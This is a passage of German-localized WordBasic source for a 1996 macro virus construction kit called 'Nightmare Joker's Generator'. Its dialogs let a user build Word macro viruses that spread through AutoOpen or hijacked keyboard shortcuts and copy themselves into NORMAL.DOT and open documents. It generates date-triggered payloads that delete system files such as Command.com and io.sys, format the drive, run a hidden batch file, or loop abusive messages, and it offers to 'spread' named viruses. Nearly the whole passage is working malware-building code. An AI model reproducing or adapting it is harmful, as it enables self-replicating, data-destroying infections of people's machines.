  720.     Einfügen "Kill" + Chr$(34) + "C:\Autoexec.bat" + Chr$(34)
  721.     EinfügenAbsatz
  722.     Einfügen "Kill" + Chr$(34) + "C:\Config.sys" + Chr$(34)
  723.     EinfügenAbsatz
  724.     Einfügen "Kill" + Chr$(34) + "C:\Command.com" + Chr$(34)
  725.     EinfügenAbsatz
  726.     Einfügen "Kill" + Chr$(34) + "C:\io.sys" + Chr$(34)
  727.     EinfügenAbsatz
  728.     Einfügen "Kill" + Chr$(34) + "C:\msdos.sys" + Chr$(34)
  729.     EinfügenAbsatz
  730.     Einfügen "Finish:"
  731. End Sub
  732.  
  733. Sub K3
  734.     Spreada
  735. End Sub
  736.  
  737. Sub K4
  738.     Einfügen "SetProfileString" + Chr$(34) + "windows" + Chr$(34) + ", "        + Chr$(34) + "Program" + Chr$(34) + ", " + Chr$(34) + Chr$(34)
  739. End Sub
  740.  
  741. Sub K5
  742. On Error Goto END76
  743.     a$ = InputBox$("Please insert your Terror Message:", "NIGHTMARE JOKER")
  744.     Einfügen "Again:"
  745.     EinfügenAbsatz
  746.     Einfügen "MsgBox" + Chr$(34) + a$ + Chr$(34)
  747.     EinfügenAbsatz
  748.     Einfügen "Goto Again"
  749. Goto End77
  750. End76:
  751.     DateiAllesSchließen 2
  752. End77:
  753. End Sub
  754.  
  755. Sub K6
  756.     Einfügen "Open " + Chr$(34) + "C:\dosys.bat" + Chr$(34) + "For Output " + Chr$(9) + "As #1"
  757.     EinfügenAbsatz
  758.     Einfügen "Print #1, " + Chr$(34) + "@echo off" + Chr$(34)
  759.     EinfügenAbsatz
  760.     Einfügen "Print #1, " + Chr$(34) + "doskey Fun=setver win.com 3.00" +     Chr$(34)
  761.     EinfügenAbsatz
  762.     Einfügen "Print #1, " + Chr$(34) + "@echo off" + Chr$(34)
  763.     EinfügenAbsatz
  764.     Einfügen "Print #1, " + Chr$(34) + "Fun" + Chr$(34)
  765.     EinfügenAbsatz
  766.     Einfügen "Close #1"
  767.     EinfügenAbsatz
  768.     Einfügen "Shell " + Chr$(34) + "C:\dosys.bat" + Chr$(34) + ", 0"
  769.     EinfügenAbsatz
  770.     Einfügen "AttributBestimmen " + Chr$(34) + "C:\dosys.bat" + Chr$(34) +     ", 2"
  771.     EinfügenAbsatz
  772. End Sub
  773.  
  774. Sub K7
  775.     Einfügen "DateiAllesSchließen 2"
  776.     EinfügenAbsatz
  777.     Einfügen "SendKeys " + Chr$(34) + "{F1}" + Chr$(34)
  778.     EinfügenAbsatz
  779. End Sub
  780.  
  781. Sub K8
  782.     Einfügen "On Error Resume Next"
  783.     EinfügenAbsatz
  784.     EinfügenAbsatz
  785.     Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel = 27, .Kategorie = 1, .Name = " + Chr$(34) + "Abbrechen" + Chr$(34) + ", .Entfernen, .Kontext = 0"    
  786.     EinfügenAbsatz
  787.     EinfügenAbsatz
  788.     Einfügen "SendKeys " + Chr$(34) + "%" + Chr$(34) + "+" + Chr$(34) + "S"     + Chr$(34)
  789. End Sub
  790.  
  791. Sub K9
  792.     Einfügen "SendKeys " + Chr$(34) + "%" + Chr$(34) + "+" + Chr$(34) +     "{F4}" + Chr$(34)
  793. End Sub
  794.  
  795. Sub K10
  796.     Einfügen "On Error Resume Next"
  797.     EinfügenAbsatz
  798.     EinfügenAbsatz
  799.     Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel = 27, .Kategorie = 1, .Name = " + Chr$(34) + "Abbrechen" + Chr$(34) + ", .Entfernen, .Kontext = 0"    
  800.     EinfügenAbsatz
  801.     EinfügenAbsatz
  802.     Einfügen "Again:"
  803.     EinfügenAbsatz    
  804.     Einfügen "Fett"
  805.     EinfügenAbsatz
  806.     Einfügen "Schriftgrad 72"
  807.     EinfügenAbsatz
  808.     Einfügen "Einfügen " + Chr$(34) + "FUCK" + Chr$(34)
  809.     EinfügenAbsatz
  810.     Einfügen "AnwMinimieren"
  811.     EinfügenAbsatz
  812.     Einfügen "AnwWiederherstellen"
  813.     EinfügenAbsatz
  814.     Einfügen "BearbeitenLöschen - 4"
  815.     EinfügenAbsatz
  816.     Einfügen "Fett"
  817.     EinfügenAbsatz
  818.     Einfügen "Schriftgrad 72"
  819.     EinfügenAbsatz
  820.     Einfügen "Einfügen " + Chr$(34) + "YOU" + Chr$(34)
  821.     EinfügenAbsatz
  822.     Einfügen "AnwMinimieren"
  823.     EinfügenAbsatz
  824.     Einfügen "AnwWiederherstellen"
  825.     EinfügenAbsatz
  826.     Einfügen "BearbeitenLöschen - 3"
  827.     EinfügenAbsatz
  828.     Einfügen "Goto Again"
  829. End Sub
  830.  
  831. Sub K11
  832.     Einfügen "On Error Resume Next"
  833.     EinfügenAbsatz
  834.     EinfügenAbsatz
  835.     Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel = 27, .Kategorie = 1, .Name = " + Chr$(34) + "Abbrechen" + Chr$(34) + ", .Entfernen, .Kontext = 0"    
  836.     EinfügenAbsatz
  837.     EinfügenAbsatz
  838.     Einfügen "SendKeys " + Chr$(34) + "^" + Chr$(34) + "+" + Chr$(34) + "%"       + Chr$(34) + "+" + Chr$(34) + "-" + Chr$(34)
  839. End Sub
  840.  
  841. Sub Insert1
  842. DateiNeu .DokVorlage = "Normal", .DokVorlageNeu = 1
  843.     REM DokumentMaximieren
  844.     Schriftgrad 16
  845.     Fett
  846.     Schriftart "Arial"
  847.     On Error Goto END76
  848.     A$ = InputBox$("Please insert something, which should be displayed in your text file. Do not use the ''Enter'' Button. That's very important!!! ", "NIGHTMARE JOKER'S GENERATOR")
  849.     Einfügen A$
  850.     Schriftgrad 10
  851.     Einfügen " "
  852.     Fett
  853.     Schriftart "Arial"
  854.     EinfügenAbsatz
  855.     EinfügenAbsatz
  856.     Einfügen "NJ 1996"
  857.     ExtrasMakro .Name = "AutoOpen", .Bearbeiten, .Anzeigen = 3,     .Beschreibung = "", .NeuerName = ""
  858. Goto End77
  859. End76:
  860.     DateiAllesSchließen 2
  861. End77:
  862. End Sub
  863.  
  864. Sub Insert2
  865. On Error Goto END76
  866.     A$ = InputBox$("Please insert the file name:", "NIGHTMARE JOKER'S GENERATOR")
  867.     DateiSpeichernUnter .Name = "C:\" + A$, .Format = 1,     .AnmerkungSperren = 0, .Kennwort = "", .ZuletztBearbErweitern = 1,     .KennwortSchreiben = "", .SchreibschutzEmpfehlen = 0,     .EinbettenSchriftarten = 0, .UrsprungGrafikFormat = 0, .FormularDaten =     0
  868.     DokumentSchließen
  869. Goto End77
  870. End76:
  871.     DateiAllesSchließen 2
  872. End77:
  873. End Sub
  874.  
  875. Sub Spreada
  876. Begin Dialog BenutzerDialog 458, 332, " "
  877.         Text 145, 10, 145, 13, "SPREAD A VIRUS!", .Text1
  878.         Text 102, 32, 228, 13, "CHOOSE NOW YOUR VIRUS:", .Text2
  879.         OptionGroup  .Gruppenfeld1
  880.             OptionButton 151, 55, 67, 16, "Caza", .Optionsfeld1
  881.             OptionButton 151, 76, 108, 16, "Hemoroids", .Optionsfeld2
  882.             OptionButton 151, 97, 101, 16, "HOODOO", .Optionsfeld3
  883.             OptionButton 151, 118, 87, 16, "Iceburn", .Optionsfeld4
  884.             OptionButton 151, 139, 84, 16, "Icemelt", .Optionsfeld5
  885.             OptionButton 151, 160, 119, 16, "Black Lotus", .Optionsfeld6
  886.             OptionButton 151, 181, 107, 16, "G2.Master", .Optionsfeld7
  887.             OptionButton 151, 201, 91, 16, "Padania", .Optionsfeld8
  888.             OptionButton 151, 222, 133, 16, "Pandemonium", .Optionsfeld9
  889.             OptionButton 151, 243, 69, 16, "Smile", .Optionsfeld10
  890.             OptionButton 151, 264, 77, 16, "Vecna", .Optionsfeld11
  891.         OKButton 121, 299, 203, 21
  892.     End Dialog
  893. Dim dlg As BenutzerDialog
  894. dlg.Gruppenfeld1 = - 1
  895. x = Dialog(dlg)
  896. If dlg.Gruppenfeld1 = 0 Then
  897.     Call Viren.Caza
  898. ElseIf dlg.Gruppenfeld1 = 1 Then
  899.     Call Viren.Hemo
  900. ElseIf dlg.Gruppenfeld1 = 2 Then
  901.     Call Viren.HooDoo
  902. ElseIf dlg.Gruppenfeld1 = 3 Then
  903.     Call Viren.Iceburn
  904. ElseIf dlg.Gruppenfeld1 = 4 Then
  905.     Call Viren.Icemelt
  906. ElseIf dlg.Gruppenfeld1 = 5 Then
  907.     Call Viren.Lotus
  908. ElseIf dlg.Gruppenfeld1 = 6 Then
  909.     Call Viren.Master
  910. ElseIf dlg.Gruppenfeld1 = 7 Then
  911.     Call Viren.Pandania
  912. ElseIf dlg.Gruppenfeld1 = 8 Then
  913.     Call Viren.Pande
  914. ElseIf dlg.Gruppenfeld1 = 9 Then
  915.     Call Viren.Smile
  916. ElseIf dlg.Gruppenfeld1 = 10 Then
  917.     Call Viren.Vecna
  918. End If
  919. End Sub
  920.  
  921. Sub Payload
  922.     Time
  923.     V$ = GetProfileString$("Dir", "Name")
  924.     VC$ = GetPrivateProfileString$("Date", "Month", V$ + "vdate.ini")
  925.     VCC$ = GetPrivateProfileString$("Date", "Day", V$ + "vdate.ini")
  926.     Kill V$ + "vdate.ini"
  927. GOON:
  928. Begin Dialog BenutzerDialog 498, 398, " "
  929.     Text 162, 6, 77, 13, "PAYLOAD", .Text1
  930.     Text 150, 26, 104, 13, "GENERATOR", .Text2
  931.     Text 98, 50, 199, 13, "CHOOSE YOUR WEAPON", .Text3
  932.     PushButton 114, 366, 210, 21, "Continue", .Definierbar1
  933.     OptionGroup  .G1
  934.         OptionButton 123, 73, 127, 16, "FORMAT C:\", .Optionsfeld1
  935.         OptionButton 123, 93, 216, 16, "DELETE SYSTEM FILES", .Optionsfeld2
  936.         OptionButton 123, 113, 168, 16, "SPREAD A VIRUS", .Optionsfeld3
  937.         OptionButton 123, 133, 153, 16, "KILL WINDOWS", .Optionsfeld4
  938.         OptionButton 123, 153, 183, 16, "MESSAGE TERROR", .Optionsfeld5
  939.         OptionButton 122, 173, 169, 16, "SETVER TERROR", .Optionsfeld6
  940.         OptionButton 123, 193, 184, 16, "KILL WINWORD 7.0", .Optionsfeld7
  941.         OptionButton 123, 213, 216, 16, "STOP EVERYTHING", .Optionsfeld8
  942.         OptionButton 123, 233, 156, 16, "BYE BYE WORD", .Optionsfeld10
  943.         OptionButton 123, 253, 147, 16, "HORROR NOW", .Optionsfeld11
  944.         OptionButton 123, 298, 215, 16, "WINWORD MURDER", .Optionsfeld9
  945.     Text 142, 278, 123, 14, "Special Payload", .Text4
  946.     CheckBox 84, 343, 273, 16, "Yeah, I want to have a message", .K1
  947.     Text 131, 322, 163, 13, "Print a Message, too!", .Text6
  948. End Dialog
  949. On Error Resume Next
  950. Dim dlg As BenutzerDialog
  951. dlg.G1 = - 1
  952. x = Dialog(dlg)
  953. If dlg.G1 = - 1 Then
  954.     Call Viren.MError
  955.     Goto GOON
  956. Else
  957.     REM Nothing to do!
  958. End If
  959. If dlg.K1 = 1 Then
  960. On Error Goto END76
  961.     A$ = InputBox$("Please insert your Message. Do not use the ''Enter'' " + "Button. That's very important!!!", "NIGHTMARE JOKER")
  962.     Payloaddd
  963.     EinfügenAbsatz
  964.     Einfügen "On Error Goto Finito2"
  965.     EinfügenAbsatz
  966.     EinfügenAbsatz
  967.     Einfügen "If Monat(Jetzt()) = " + VC$ + " And Tag(Jetzt()) = " + VCC$ +     " Then"
  968.     EinfügenAbsatz
  969.     EinfügenAbsatz
  970.     Einfügen "DateiNeu .DokVorlage = " + Chr$(34) + "Normal" + Chr$(34) +     ", .DokVorlageNeu = 1"
  971.     EinfügenAbsatz
  972.     Einfügen "DokumentMaximieren"
  973.     EinfügenAbsatz
  974.     Einfügen "Schriftgrad 16"
  975.     EinfügenAbsatz
  976.     Einfügen "Fett"
  977.     EinfügenAbsatz
  978.     Einfügen "Schriftart " + Chr$(34) + "Arial" + Chr$(34)
  979.     EinfügenAbsatz
  980.     Einfügen "Einfügen " + Chr$(34) + A$ + Chr$(34)
  981.     EinfügenAbsatz
  982.     EinfügenAbsatz
  983.     Einfügen "n = Sekunde(Jetzt())"
  984.     EinfügenAbsatz
  985.     Einfügen "m = n + 3"
  986.     EinfügenAbsatz
  987.     Einfügen "Again:"
  988.     EinfügenAbsatz
  989.     Einfügen "While n <> m"
  990.     EinfügenAbsatz
  991.     Einfügen "n = Sekunde(Jetzt())"
  992.     EinfügenAbsatz
  993.     Einfügen "Goto Again"
  994.     EinfügenAbsatz
  995.     Einfügen "Wend"
  996.     EinfügenAbsatz
  997.     EinfügenAbsatz
  998.     Einfügen "Finito2:"
  999.     EinfügenAbsatz
  1000.     EinfügenAbsatz
  1001. Else
  1002.     REM Silent User
  1003. End If
  1004.  
  1005. If dlg.G1 = 0 Then
  1006.     K1
  1007.     P
  1008. ElseIf dlg.G1 = 1 Then
  1009.     K2
  1010.     P
  1011. ElseIf dlg.G1 = 2 Then
  1012.     K3
  1013.     P
  1014. ElseIf dlg.G1 = 3 Then
  1015.     K4
  1016.     P
  1017. ElseIf dlg.G1 = 4 Then
  1018.     K5
  1019.     P
  1020. ElseIf dlg.G1 = 5 Then
  1021.     K6
  1022.     P
  1023. ElseIf dlg.G1 = 6 Then
  1024.     K7
  1025.     P
  1026. ElseIf dlg.G1 = 7 Then
  1027.     K8
  1028.     P
  1029. ElseIf dlg.G1 = 8 Then
  1030.     K9
  1031.     P
  1032. ElseIf dlg.G1 = 9 Then
  1033.     K10
  1034.     P
  1035. ElseIf dlg.G1 = 10 Then
  1036.     K11
  1037.     P
  1038. End If
  1039. End Sub
  1040.  
  1041. Sub P
  1042. EinfügenAbsatz
  1043. Einfügen "Else"
  1044. EinfügenAbsatz
  1045. Einfügen Chr$(9) + "REM Nothing to do!"
  1046. EinfügenAbsatz
  1047. Einfügen "End If"
  1048. DokumentSchließen 1
  1049. Goto End77
  1050. End76:
  1051.     DateiAllesSchließen 2
  1052. End77:
  1053. End Sub
  1054.  
  1055. Sub Payloaddd
  1056. B$ = GetProfileString$("Dir", "Name")
  1057. C$ = GetPrivateProfileString$("NewVirus", "Name", B$ + "virus.ini")
  1058. ExtrasMakro .Name = "AutoOpen", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  1059. VSeite 1
  1060. ZeileUnten 30
  1061. VSeite 1
  1062. ZeileUnten 13
  1063. EinfügenAbsatz
  1064. ZeileOben 1
  1065. Einfügen "Call " + C$
  1066. DokumentSchließen 1
  1067. ExtrasMakro .Name = C$, .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  1068. ZeileUnten 3
  1069. End Sub
  1070.  
  1071. Sub NONAUTOMACRO
  1072. Insert1
  1073. Begin Dialog BenutzerDialog 406, 166, " "
  1074.     Text 94, 8, 203, 13, "NON-AUTOMACRO VIRUS", .Text1
  1075.     Text 160, 29, 56, 13, "Creator", .Text2
  1076.     TextBox 142, 97, 107, 18, .T$
  1077.     Text 74, 51, 251, 13, "Please insert now the virus name", .Text3
  1078.     OKButton 132, 127, 130, 21
  1079.     Text 129, 72, 132, 13, "Only ONE word!!!", .Text4
  1080. End Dialog
  1081. Dim dlg As BenutzerDialog
  1082. x = Dialog(dlg)
  1083. A$ = dlg.T$ + "1"
  1084. B$ = dlg.T$ + "2"
  1085. Begin Dialog BenutzerDialog 398, 228, " "
  1086.     Text 82, 12, 203, 13, "NON-AUTOMACRO VIRUS", .Text1
  1087.     Text 149, 33, 56, 13, "Creator", .Text2
  1088.     Text 45, 58, 283, 13, "Would you like to encrypt your virus?", .Text3
  1089.     OptionGroup  .G1
  1090.         OptionButton 120, 78, 105, 16, "Encrypted", .Optionsfeld1
  1091.         OptionButton 120, 101, 137, 16, "Not Encrypted", .Optionsfeld2
  1092.     Text 51, 125, 264, 13, "Would you like to have a payload?", .Text4
  1093.     OptionGroup  .G2
  1094.         OptionButton 120, 143, 89, 16, "Payload", .Optionsfeld3
  1095.         OptionButton 120, 166, 116, 16, "No Payload", .Optionsfeld4
  1096.     OKButton 87, 194, 192, 21
  1097. End Dialog
  1098. Dim dlg As BenutzerDialog
  1099. dlg.G1 = - 1
  1100. dlg.G2 = - 1
  1101. x = Dialog(dlg)
  1102.  
  1103. If dlg.G1 = - 1 Or dlg.G2 = - 1 Then
  1104.     Call Viren.MError
  1105.     Goto Again4
  1106. Else
  1107.     REM Nothing to do!
  1108. End If
  1109.     
  1110. If dlg.G1 = 0 Then
  1111.     EC = 1
  1112. Else
  1113.     EC = 0
  1114. End If
  1115.  
  1116. If dlg.G2 = 0 Then
  1117.     PA = 1
  1118. Else
  1119.     PA = 0
  1120. End If
  1121.     Time
  1122.     V$ = GetProfileString$("Dir", "Name")
  1123.     VC$ = GetPrivateProfileString$("Date", "Month", V$ + "vdate.ini")
  1124.     VCC$ = GetPrivateProfileString$("Date", "Day", V$ + "vdate.ini")
  1125.     Kill V$ + "vdate.ini"
  1126. WOW10:
  1127. Begin Dialog BenutzerDialog 596, 390, " "
  1128.     Text 206, 16, 163, 13, "NON - AUTOMACRO ", .Text1
  1129.     Text 261, 40, 39, 13, "Virus", .Text2
  1130.     Text 253, 63, 56, 13, "Creator", .Text3
  1131.     Text 128, 91, 309, 13, "CHOOSE NOW YOUR KEYBOARD KEYS", .Text4
  1132.     Text 45, 120, 203, 13, "TO INFECT NORMAL.DOT", .Text5
  1133.     Text 332, 120, 192, 13, "TO INFECT ACTIVE FILE", .Text6
  1134.     OptionGroup  .G3
  1135.         OptionButton 366, 143, 119, 16, "Backspace ", .Optionsfeld1
  1136.         OptionButton 366, 163, 40, 16, "A", .O2
  1137.         OptionButton 366, 183, 40, 16, "E", .O3
  1138.         OptionButton 366, 203, 35, 16, "I", .O4
  1139.         OptionButton 366, 223, 41, 16, "O", .O5
  1140.         OptionButton 366, 243, 41, 16, "R", .O6
  1141.         OptionButton 366, 263, 40, 16, "S", .O7
  1142.         OptionButton 366, 283, 40, 16, "T", .O8
  1143.     OptionGroup  .G4
  1144.         OptionButton 80, 143, 119, 16, "Backspace ", .O9
  1145.         OptionButton 80, 163, 40, 16, "A", .O10
  1146.         OptionButton 80, 183, 40, 16, "E", .O11
  1147.         OptionButton 80, 203, 35, 16, "I", .O12
  1148.         OptionButton 80, 223, 41, 16, "O", .O13
  1149.         OptionButton 80, 243, 41, 16, "R", .O14
  1150.         OptionButton 80, 263, 40, 16, "S", .O15
  1151.         OptionButton 80, 283, 40, 16, "T", .O16
  1152.     OKButton 40, 325, 513, 21
  1153. End Dialog
  1154. Dim dlg As BenutzerDialog
  1155. dlg.G3 = - 1
  1156. dlg.G4 = - 1
  1157. x = Dialog(dlg)
  1158.  
  1159. If dlg.G3 = - 1 Then
  1160.     Call Viren.MError
  1161.     Goto WOW10
  1162. Else
  1163.     REM Nothing to do!
  1164. End If
  1165.  
  1166. If dlg.G4 = - 1 Then
  1167.     Call Viren.MError
  1168.     Goto WOW10
  1169. Else
  1170.     REM Nothing to do!
  1171. End If
  1172.  
  1173. If dlg.G3 = 0 Then
  1174.     J = 32
  1175. ElseIf dlg.G3 = 1 Then
  1176.     J = 65
  1177. ElseIf dlg.G3 = 2 Then
  1178.     J = 69
  1179. ElseIf dlg.G3 = 3 Then
  1180.     J = 73
  1181. ElseIf dlg.G3 = 4 Then
  1182.     J = 79
  1183. ElseIf dlg.G3 = 5 Then
  1184.     J = 82
  1185. ElseIf dlg.G3 = 6 Then
  1186.     J = 83
  1187. ElseIf dlg.G3 = 7 Then
  1188.     J = 84
  1189. End If
  1190. If dlg.G4 = 0 Then
  1191.     K = 32
  1192. ElseIf dlg.G4 = 1 Then
  1193.     K = 65
  1194. ElseIf dlg.G4 = 2 Then
  1195.     K = 69
  1196. ElseIf dlg.G4 = 3 Then
  1197.     K = 73
  1198. ElseIf dlg.G4 = 4 Then
  1199.     K = 79
  1200. ElseIf dlg.G4 = 5 Then
  1201.     K = 82
  1202. ElseIf dlg.G4 = 6 Then
  1203.     K = 83
  1204. ElseIf dlg.G4 = 7 Then
  1205.     K = 84
  1206. End If
  1207.  
  1208. If dlg.G3 = dlg.G4 Then
  1209.     Call Viren.MError
  1210.     Goto WOW10
  1211. Else
  1212.     REM Nothing to do!
  1213. End If
  1214.  
  1215. DokumentSchließen 2
  1216. ExtrasMakro .Name = A$, .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  1217. Einfügen "On Error Goto Finish"
  1218. EinfügenAbsatz
  1219. EinfügenAbsatz
  1220. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(K) + ", .Kategorie = 2"
  1221. Einfügen ", .Name = " + Chr$(34) + A$ + Chr$(34) + ", .Hinzufügen, .Kontext = 0"
  1222. EinfügenAbsatz
  1223. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(K) + ", .Kategorie = 2"
  1224. Einfügen ", .Name = " + Chr$(34) + A$ + Chr$(34) + ", .Hinzufügen, .Kontext = 1"
  1225. EinfügenAbsatz
  1226. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(J) + ", .Kategorie = 2"
  1227. Einfügen ", .Name = " + Chr$(34) + B$ + Chr$(34) + ", .Hinzufügen, .Kontext = 0"
  1228. EinfügenAbsatz
  1229. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(J) + ", .Kategorie = 2"
  1230. Einfügen ", .Name = " + Chr$(34) + B$ + Chr$(34) + ", .Hinzufügen, .Kontext = 1"
  1231. EinfügenAbsatz
  1232. EinfügenAbsatz
  1233. Einfügen "VM1$ = FensterName$() + " + Chr$(34) + ":" + A$ + Chr$(34)
  1234. EinfügenAbsatz
  1235. Einfügen "VM2$ = FensterName$() + " + Chr$(34) + ":" + B$ + Chr$(34)
  1236. EinfügenAbsatz
  1237. EinfügenAbsatz
  1238. Einfügen "If VInstalled = 1 Then"
  1239. EinfügenAbsatz
  1240. Einfügen Chr$(9) + "Goto Finish"
  1241. EinfügenAbsatz
  1242. Einfügen "Else"
  1243. EinfügenAbsatz
  1244. Einfügen Chr$(9) + "On Error Resume Next"
  1245. EinfügenAbsatz
  1246. Einfügen Chr$(9) + "DateiSpeichernUnter .Format = 1"
  1247. EinfügenAbsatz
  1248. Einfügen Chr$(9) + "MakroKopieren " + Chr$(34) + "Global:" + A$ + Chr$(34) + ", VM1$"
  1249. EinfügenAbsatz
  1250. Einfügen Chr$(9) + "MakroKopieren " + Chr$(34) + "Global:" + B$ + Chr$(34) + ", VM2$"
  1251. EinfügenAbsatz
  1252. Einfügen Chr$(9) + "DateiAllesSpeichern 1, 0"
  1253. EinfügenAbsatz
  1254. Einfügen "End If"
  1255. EinfügenAbsatz
  1256. EinfügenAbsatz
  1257. Einfügen "Finish:"
  1258. EinfügenAbsatz
  1259. Einfügen "A$ = DateiName$()"
  1260. EinfügenAbsatz
  1261. Einfügen "If A$ = " + Chr$(34) + Chr$(34) + " Then"
  1262. EinfügenAbsatz
  1263. Einfügen Chr$(9) + "Goto Finito"
  1264. EinfügenAbsatz
  1265. Einfügen "Else"
  1266. EinfügenAbsatz
  1267. REM Tastaturcodes ---------------------------
  1268. If J = 32 Then
  1269.     J$ = " "
  1270. ElseIf J = 65 Then
  1271.     J$ = "a"
  1272. ElseIf J = 69 Then
  1273.     J$ = "e"
  1274. ElseIf J = 73 Then
  1275.     J$ = "i"
  1276. ElseIf J = 79 Then
  1277.     J$ = "o"
  1278. ElseIf J = 82 Then
  1279.     J$ = "r"
  1280. ElseIf J = 83 Then
  1281.     J$ = "s"
  1282. ElseIf J = 84 Then
  1283.     J$ = "t"
  1284. End If
  1285. If K = 32 Then
  1286.     K$ = " "
  1287. ElseIf K = 65 Then
  1288.     K$ = "a"
  1289. ElseIf K = 69 Then
  1290.     K$ = "e"
  1291. ElseIf K = 73 Then
  1292.     K$ = "i"
  1293. ElseIf K = 79 Then
  1294.     K$ = "o"
  1295. ElseIf K = 82 Then
  1296.     K$ = "r"
  1297. ElseIf K = 83 Then
  1298.     K$ = "s"
  1299. ElseIf K = 84 Then
  1300.     K$ = "t"
  1301. End If
  1302. REM Ende Tastaturcodes ------------------------
  1303. Einfügen Chr$(9) + "Einfügen " + Chr$(34) + K$ + Chr$(34)
  1304. EinfügenAbsatz
  1305. Einfügen "End If"
  1306. EinfügenAbsatz
  1307. EinfügenAbsatz
  1308. Einfügen "Finito:"
  1309. EinfügenAbsatz
  1310. Einfügen "If Monat(Jetzt()) =" + VC$ + " And Tag(Jetzt()) =" + VCC$ + " Then"
  1311. EinfügenAbsatz
  1312. Einfügen Chr$(9) + "Payload"
  1313. EinfügenAbsatz
  1314. Einfügen "Else"
  1315. EinfügenAbsatz
  1316. Einfügen Chr$(9) + "Goto EndOne"
  1317. EinfügenAbsatz
  1318. Einfügen "End If"
  1319. EinfügenAbsatz
  1320. EinfügenAbsatz
  1321. Einfügen "EndOne:"
  1322. ZeileUnten 1
  1323. EinfügenAbsatz
  1324. EinfügenAbsatz
  1325. Einfügen "Function VInstalled"
  1326. VSeite - 1
  1327. VSeite 1
  1328. EinfügenAbsatz
  1329. Einfügen Chr$(9) + "VInstalled = 0"
  1330. EinfügenAbsatz
  1331. Einfügen Chr$(9) + "If ZählenMakros(1) > 0 Then"
  1332. EinfügenAbsatz
  1333. Einfügen Chr$(9) + Chr$(9) + "For i = 1 To ZählenMakros(1)"
  1334. EinfügenAbsatz
  1335. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + "If MakroName$(i, 1) = " + Chr$(34) + A$ + Chr$(34) + " Then"
  1336. EinfügenAbsatz
  1337. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + "VInstalled = 1"
  1338. EinfügenAbsatz
  1339. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + "End If"
  1340. EinfügenAbsatz
  1341. Einfügen Chr$(9) + Chr$(9) + "Next i"
  1342. EinfügenAbsatz
  1343. Einfügen Chr$(9) + "End If"
  1344. EinfügenAbsatz
  1345. Einfügen "End Function"
  1346. DokumentSchließen 1
  1347. REM Makro 2 ---------------------------------
  1348. ExtrasMakro .Name = B$, .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  1349. Einfügen "On Error Goto Finish"
  1350. EinfügenAbsatz
  1351. EinfügenAbsatz
  1352. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(K) + ", .Kategorie = 2"
  1353. Einfügen ", .Name = " + Chr$(34) + A$ + Chr$(34) + ", .Hinzufügen, .Kontext = 0"
  1354. EinfügenAbsatz
  1355. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(K) + ", .Kategorie = 2"
  1356. Einfügen ", .Name = " + Chr$(34) + A$ + Chr$(34) + ", .Hinzufügen, .Kontext = 1"
  1357. EinfügenAbsatz
  1358. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(J) + ", .Kategorie = 2"
  1359. Einfügen ", .Name = " + Chr$(34) + B$ + Chr$(34) + ", .Hinzufügen, .Kontext = 0"
  1360. EinfügenAbsatz
  1361. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(J) + ", .Kategorie = 2"
  1362. Einfügen ", .Name = " + Chr$(34) + B$ + Chr$(34) + ", .Hinzufügen, .Kontext = 1"
  1363. EinfügenAbsatz
  1364. EinfügenAbsatz
  1365. Einfügen "VM1$ = FensterName$() + " + Chr$(34) + ":" + A$ + Chr$(34)
  1366. EinfügenAbsatz
  1367. Einfügen "VM2$ = FensterName$() + " + Chr$(34) + ":" + B$ + Chr$(34)
  1368. EinfügenAbsatz
  1369. EinfügenAbsatz
  1370. Einfügen "NJ$ = MakroDateiName$(" + Chr$(34) + A$ + Chr$(34) + ")"
  1371. EinfügenAbsatz
  1372. Einfügen "F$ = DateiNameInfo$(NJ$, 5)"
  1373. EinfügenAbsatz
  1374. EinfügenAbsatz
  1375. Einfügen "If VInstalled = 1 Then"
  1376. EinfügenAbsatz
  1377. Einfügen Chr$(9) + "Goto Finish"
  1378. EinfügenAbsatz
  1379. Einfügen "Else"
  1380. EinfügenAbsatz
  1381. Einfügen Chr$(9) + "On Error Resume Next"
  1382. EinfügenAbsatz
  1383. Einfügen Chr$(9) + "MakroKopieren VM1$, " + Chr$(34) + "Global:" + A$ + Chr$(34)
  1384. EinfügenAbsatz
  1385. Einfügen Chr$(9) + "MakroKopieren VM2$, " + Chr$(34) + "Global:" + B$ + Chr$(34)
  1386. EinfügenAbsatz
  1387. Einfügen Chr$(9) + "DateiAllesSpeichern 1, 1"
  1388. EinfügenAbsatz
  1389. Einfügen "End If"
  1390. EinfügenAbsatz
  1391. EinfügenAbsatz
  1392. Einfügen "Finish:"
  1393. EinfügenAbsatz
  1394. Einfügen "A$ = DateiName$()"
  1395. EinfügenAbsatz
  1396. Einfügen "If A$ = " + Chr$(34) + Chr$(34) + " Then"
  1397. EinfügenAbsatz
  1398. Einfügen Chr$(9) + "Goto Finito"
  1399. EinfügenAbsatz
  1400. Einfügen "Else"
  1401. EinfügenAbsatz
  1402. Einfügen Chr$(9) + "Einfügen " + Chr$(34) + J$ + Chr$(34)
  1403. EinfügenAbsatz
  1404. Einfügen "End If"
  1405. EinfügenAbsatz
  1406. EinfügenAbsatz
  1407. Einfügen "Finito:"
  1408. EinfügenAbsatz
  1409. Einfügen "If Monat(Jetzt()) =" + VC$ + " And Tag(Jetzt()) =" + VCC$ + " Then"
  1410. EinfügenAbsatz
  1411. Einfügen Chr$(9) + "Payload"
  1412. EinfügenAbsatz
  1413. Einfügen "Else"
  1414. EinfügenAbsatz
  1415. Einfügen Chr$(9) + "Goto EndOne"
  1416. EinfügenAbsatz
  1417. Einfügen "End If"
  1418. EinfügenAbsatz
